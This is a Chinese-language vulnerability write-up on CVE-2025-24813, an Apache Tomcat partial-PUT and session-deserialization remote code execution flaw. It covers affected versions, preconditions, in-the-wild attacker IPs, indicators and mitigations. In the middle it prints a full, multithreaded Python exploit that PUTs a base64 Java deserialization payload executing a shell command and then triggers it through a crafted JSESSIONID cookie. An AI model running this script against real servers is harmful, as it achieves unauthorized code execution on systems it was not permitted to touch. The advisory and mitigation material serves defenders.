CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE

CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE

作者:Factor .Poc作者:iSee857

一、漏洞概述

CVE-2025-24813 是 Apache Tomcat 中一个关键的路径等效性(Path Equivalence)漏洞,允许未经身份验证的远程攻击者在特定配置下实现远程代码执行(RCE)、读取敏感文件,甚至篡改文件内容。该漏洞已在野外被观察到存在实际利用行为,影响范围广泛。


二、影响版本

  • Tomcat 11.0.0-M1 至 11.0.2(修复于 11.0.3)
  • Tomcat 10.1.0-M1 至 10.1.34(修复于 10.1.35)
  • Tomcat 9.0.0.M1 至 9.0.98(修复于 9.0.99)
  • Tomcat 8.5.x(Insikt Group 发现 8.5.0 至 8.5.98 和 8.5.100 也受影响,8.5.99 是唯一不受影响版本)

三、漏洞原理

该漏洞的核心是 Tomcat 对部分 PUT 请求(Partial PUT)和文件路径解析的处理逻辑存在缺陷,攻击者可以通过构造特定请求绕过默认中间件验证机制,从而触发远程代码执行或敏感文件操作。

🎯 利用流程(两步):

  1. 攻击者构造一个 Base64 编码的 Java 反序列化 Payload ,通过 PUT 请求提交至服务端。
  2. 随后通过一个附带特制 JSESSIONID 的 GET 请求触发服务器反序列化该 Payload,最终执行任意代码。

四、漏洞利用条件

远程代码执行(RCE)需要满足以下条件:

  • 默认 Servlet 具备写权限(默认是关闭的)
  • 启用 Partial PUT(默认开启)
  • 应用使用基于文件的 Session 持久化,且存储位置为默认目录
  • 应用中包含可被反序列化利用的第三方库(如 fastjson, commons-collections 等)

此外,如果配置允许,攻击者还可以:

  • 查看敏感安全文件内容
  • 注入数据至敏感文件

这些额外风险成立的前提:

  • 上传路径在可公开访问目录之下
  • 攻击者知道目标上传文件名
  • 上传通过 Partial PUT 实现

注:虽然这些条件组合在一起并不常见,但确实存在大量线上实例仍配置为可被利用状态。


五、在野利用情况与威胁分析

🌐 已知恶意攻击者 IP(来自 Greynoise 数据):

恶意IP地址 来源地 攻击目标国家
203.160.68.24 中国香港 美国
176.65.138.172 德国 日本、新加坡、印尼、台湾等
38.126.114.186 美国 印度、墨西哥、美国
188.213.161.98 意大利 日本、韩国
140.143.182.115 中国 澳大利亚、墨西哥等
196.240.54.120 拉脱维亚 美国

全球范围内,Shodan 扫描数据显示,约有 378,444 台暴露的 Tomcat 实例可能受到影响,主要分布在中国、美国、摩洛哥和巴西等地。

🔍 指纹与攻击迹象(IoC):

  • Web 目录中出现未知 .jsp 文件
  • Web 日志中存在异常 PUT 请求记录
  • 外部 GET/POST 请求访问恶意 JSP
  • WAF 报告触发"未授权上传"规则

六、PoC 与复现情况

使用方式:

批量检测支持多线程:

python poc.py -l url.txt -t 5

单个检测:

python poc.py -u your-ip

Poc引用作者:iSee857

引用至:https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

Poc复现:

bash 复制代码
import argparse
import base64
import sys
import requests
from concurrent.futures import ThreadPoolExecutor

COLOR = {
    "RED": "\033[91m",
    "GREEN": "\033[92m",
    "YELLOW": "\033[93m",
    "BLUE": "\033[94m",
    "PURPLE": "\033[95m",
    "CYAN": "\033[96m",
    "RESET": "\033[0m"
}

BANNER = rf"""
{COLOR['PURPLE']}
  ___  _ __   ___ | |_ ___  ___| |_ 
 / _ \| '_ \ / _ \| __/ _ \/ __| __|
| (_) | |_) | (_) | ||  __/\__ \ |_ 
 \___/| .__/ \___/ \__\___||___/\__|
      |_| {COLOR['CYAN']}Apache Tomcat RCE Detector
{COLOR['RED']}CVE-2025-24813 {COLOR['RESET']}@Author: iSee857
"""

# Payload
PAYLOAD = base64.b64decode(
    "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"
)

def print_vulnerable(target):
    print(f"\n{COLOR['RED']}[!] 目标存在漏洞: {target}")
    print(f"[+] CVE-2025-24813 Apache Tomcat 远程代码执行漏洞{COLOR['RESET']}\n")

def check_target(target):
    try:
        host, port = target.split(":")
        port = int(port)
    except:
        print(f"{COLOR['YELLOW']}[!] 无效目标格式: {target}{COLOR['RESET']}")
        return

    base_url = f"http://{host}:{port}"
    put_url = f"{base_url}/iSee857/session"
    
    try:

        put_response = requests.put(
            put_url,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data=PAYLOAD,
            verify=False,
            timeout=10
        )


        if put_response.status_code == 409:
            get_response = requests.get(
                base_url,
                headers={"Cookie": "JSESSIONID=.iSee857"},
                verify=False,
                timeout=10
            )

            if get_response.status_code == 500:
                print_vulnerable(target)
                return True

        print(f"{COLOR['GREEN']}[+] {target} 未检测到漏洞{COLOR['RESET']}")
        return False

    except requests.exceptions.RequestException as e:
        print(f"{COLOR['YELLOW']}[!] {target} 检测失败: {str(e)}{COLOR['RESET']}")
        return False
    except Exception as e:
        print(f"{COLOR['RED']}[!] {target} 发生错误: {str(e)}{COLOR['RESET']}")
        return False

def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description='Apache Tomcat RCE检测工具')
    parser.add_argument('-u', '--url', help='单个目标 (格式: ip:port)')
    parser.add_argument('-l', '--list', help='包含多个目标的文件')
    parser.add_argument('-t', '--threads', type=int, default=5, 
                       help='并发线程数 (默认: 5)')
    args = parser.parse_args()

    targets = []
    if args.url:
        targets.append(args.url)
    elif args.list:
        try:
            with open(args.list, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"{COLOR['RED']}[!] 文件不存在: {args.list}{COLOR['RESET']}")
            sys.exit(1)
    else:
        parser.print_help()
        sys.exit(1)

    print(f"{COLOR['CYAN']}[*] 开始检测,共 {len(targets)} 个目标...{COLOR['RESET']}")

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        results = executor.map(check_target, targets)

    vulnerable_count = sum(1 for result in results if result)
    print(f"\n{COLOR['PURPLE']}[*] 检测完成,共发现 {vulnerable_count} 个存在漏洞的目标{COLOR['RESET']}")

if __name__ == "__main__":
    main()

七、防护建议

✅ 官方修复版本:

  • 升级至:11.0.3 / 10.1.35 / 9.0.99
  • 8.5.x 用户建议迁移至受支持分支,避免继续使用 EoL 版本

✅ 临时缓解策略:

  • 显式关闭 default servlet 的写权限:

    <init-param>

    <param-name>readonly</param-name>

    <param-value>true</param-value>

    </init-param>

  • 在 Web 应用中禁用 Partial PUT 请求(使用 WAF 拦截或 nginx 过滤)

  • 清理 webapps/ROOT/ 路径下的未授权文件

✅ 工具支持:

  • Insikt Group 提供 Nuclei 检测模板(可用于批量扫描)
  • Recorded Future 提供 ASI 签名规则用于攻击面定位

八、总结

CVE-2025-24813 是一次典型的"路径+反序列化+配置缺陷"复合型漏洞,表面上源于文件路径处理缺陷,实际利用则依赖于多个错误配置的叠加效应。

它提醒我们:边界可信假设失效、中间件权限设置失误、反序列化引擎暴露等老问题,在现代系统中依旧构成致命威胁

安全不仅仅是打补丁,更是对配置、逻辑与习惯的全面治理。

相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
大大水瓶6 天前
Tomcat
java·tomcat
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全